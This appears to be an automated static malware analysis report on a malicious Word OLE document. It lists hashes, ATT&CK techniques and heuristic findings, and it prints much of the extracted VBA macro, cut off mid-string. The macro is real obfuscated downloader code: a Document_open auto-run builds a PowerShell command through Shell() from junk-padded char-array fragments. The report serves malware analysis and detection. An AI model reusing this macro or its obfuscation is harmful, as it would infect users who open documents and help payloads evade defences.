Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 073b4195934cf490…

MALICIOUS

Office (OLE)

114.6 KB Created: 2018-06-13 17:10:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 3b5bb6efefc17eb936300cd73a79a133 SHA-1: 1ba7304cf6937f11797b35bdd61dc692a2617bb8 SHA-256: 073b4195934cf490f276957f9358a3273152ac84cecc43007269bfb1748c6027
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This indicates the macro is designed to execute arbitrary commands upon opening the document. The reconstructed command string suggests it is intended to download and execute a second-stage payload.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14501 bytes
SHA-256: 66253e10452835001cbf3ae9b87284b81b8bc04574d007684d611c25eebeda42
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MwmQJVCkpVlcb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function kiijoHIOIrf()
On Error Resume Next
OzrinG = Tan(20131)
iCcTSm = zSkSrA
CzJjMS = CDbl(TJqMAC * CDbl(AbBik + Int(QUcHAj * Rnd(49402)) * aQMOz * Log(78219 * FhWLr - LslGR + Fix(51))))
vutfT = pEbrAi
iWBfc = CDbl(QstdwD)
UYErCY = Tan(20134)
pJnCS = Tan(96879)
Ynjjqi = kSzIIO
TCzDU = CDbl(VKGfA * CDbl(ciuIMF + Int(QpHLMo * Rnd(69961)) * EmcisU * Log(60698 * TliEuR - jDfuG + Fix(51))))
raXhBv = baIhud
LqlOkT = CDbl(YiwIc)
KWjhY = Tan(15593)
qpLMM = Tan(34848)
dAPTaB = CHXSJY
mFBWz = CDbl(liDUG * CDbl(BvpQiG + Int(MzWShV * Rnd(95142)) * YAJcUF * Log(98844 * jiDWwu - wvNlzt + Fix(51))))
FGlfj = SCZXU
nUBCS = CDbl(husmk)
OcojZW = Tan(131)
jpdaw = Tan(18680)
hawKBT = hNCCbB
oGFJcM = CDbl(PqPzRE * CDbl(AXZcir + Int(iKbdQ * Rnd(43772)) * pXUtjB * Log(6299 * EKovz - kjKkP + Fix(51))))
WuSOn = tDudRs
KwdjMp = CDbl(aTvGi)
wsLJUQ = Tan(14252)
kiijoHIOIrf = qpNnumc + VBA.Shell(uPsVGsutpU + Chr(ViGfhmcjGr + vbKeyP + wzNJJTpkPi) + "owers" + boCvXzpW + PaPPH + hBBzHZtXXjr + ORjpTU + cUdtwrjbw + JVNAEGo, 11152 - 11152)
jiQsk = Tan(85867)
ZtJbi = FnrRlD
MjlWO = CDbl(NQYPSL * CDbl(LWFaZB + Int(Iidlr * Rnd(70157)) * dFLcr * Log(27501 * nlSdfH - JAdrPp + Fix(51))))
kmzut = zdAucu
iDAfia = CDbl(KMmazw)
SEztt = Tan(93129)
LWozp = Tan(77561)
iSwAj = wnqQR
swvTwq = CDbl(uFDFC * CDbl(fonRCT + Int(CSCUzt * Rnd(25851)) * BpJdKD * Log(5571 * bbmREB - fMvRB + Fix(51))))
LqPBXB = WHDbM
wbUEcq = CDbl(Ptcsfc)
uXvkHV = Tan(91976)
End Function
Private Sub Document_open()
On Error Resume Next
XnEoO = Tan(78516)
zAGhoN = kmkDl
TzjYv = CDbl(mIZTQ * CDbl(QaDwXv + Int(QzsLj * Rnd(64922)) * JthkW * Log(1388 * nvqnwk - cUajq + Fix(51))))
diMIaK = nfSis
VZbowq = CDbl(ItbpwP)
pTVjU = Tan(29631)
rKJdKP = Tan(39751)
NUCqF = uitkj
SuIrjn = CDbl(LhtJJE * CDbl(slEjU + Int(uRPKK * Rnd(36022)) * IZFmh * Log(90524 * KvOzM - EJnULs + Fix(51))))
DwWHXn = ldvzS
AizjNS = CDbl(lcHbO)
pWosVi = Tan(40424)
kiijoHIOIrf
KjapB = Tan(89247)
JRQQwO = XLMjdA
NmWncJ = CDbl(XjwOjp * CDbl(WBfJo + Int(tfGrYY * Rnd(54501)) * SjPoj * Log(79100 * dEppQs - hRBSYK + Fix(51))))
swqTXG = zopGz
jiOEhj = CDbl(zjZAA)
dwPbcS = Tan(50779)
qlloB = Tan(93789)
DwZali = iiicS
YINpG = CDbl(vnjrp * CDbl(EQVww + Int(aVFiwW * Rnd(31860)) * ouYPFN * Log(76935 * sCuNih - HUEkRj + Fix(51))))
XSCjLt = wOrmwB
qMrYY = CDbl(BOTlcU)
LIDpz = Tan(59351)
End Sub


Attribute VB_Name = "EndRLrICqC"
Function boCvXzpW()
On Error Resume Next
FfbjDv = Tan(3805)
Buaas = CDbl(khbiL)
qXIhk = Tan(68505)
ztIqj = CDbl(fwwuki * CDbl(wsRBSN + Int(IFSiz * Rnd(57503)) * zXTjzU * Log(51840 * mTtUV - wkEJi + Fix(51))))
jzuMGn = ZjDwH
JOqGzI = shKUOY
VSJpSnzNkz = "HeLL  ( [cHA" + "R[]](4 ,73" + " ,104 ,86,116,7" + "3 , 0,29" + " ,0" + " ,78 , 69 ,87 " + ", 13,79,6" + "6,74 ,69 ,67"
NzZPl = Tan(96289)
fBfLT = CDbl(HRDji)
zsWXwj = Tan(20353)
XYBzRL = CDbl(mrWra * CDbl(BirlI + Int(tNVtp * Rnd(61021)) * DHjHsn * Log(26504 * BqMzH - MLYth + Fix(51))))
QZLLt = OkoWG
NqAnf = AIjCzA
lFbYJnqHX = " ," + " 84 ,0 , " + "82,65 " + ", 78 ,68" + " ,7" + "9 ,77,27 " + ",4, 80," + "107 ,68," + " 75,101, "
vuLlL = Tan(16881)
KIrGM = CDbl(Oquiu)
FAOPN = Tan(92305)
OdXJsi = CDbl(NfCjdE * CDbl(DYdwjr + Int(SbMAAc * Rnd(59733)) * RLmuJ * Log(72002 * YkSDUv - aUMvjz + Fix(51))))
cApzL = jjwuH
YztdcX = mAsoFw
MEauIH = "66 ,0 , " + "29, 0 , 78 " + ",69 , " + "87, 13 ,79 ,6" + "6 , 74,69 ,67" + " , 84, 0,115 , " + "89 ," + " 83 ,84, 69, 77" + ", 1"
zLKXiw = Tan(79697)
vWFdo = CDbl(kAIjAU)
EDZCi = Tan(52277)
HMXls = CDbl(JBSTlJ * CDbl(KCfWEw + Int(wmQBf * Rnd(29433)) * UQSKFJ * Log(19326 * znmmPf - vIqndb + Fix(51))))
NcbzHm = jadAm
DsjRj = WqHLs
WiMJCrbEs = "4 ,110,69 ,84," + " 14,119, 69" + " ," + " 6" + "6 ,99, 76, " + "73" + ",69 , 78,84," + "27 ,4 , 73," + "66 , 7" + "9, 86 ,65
... (truncated)

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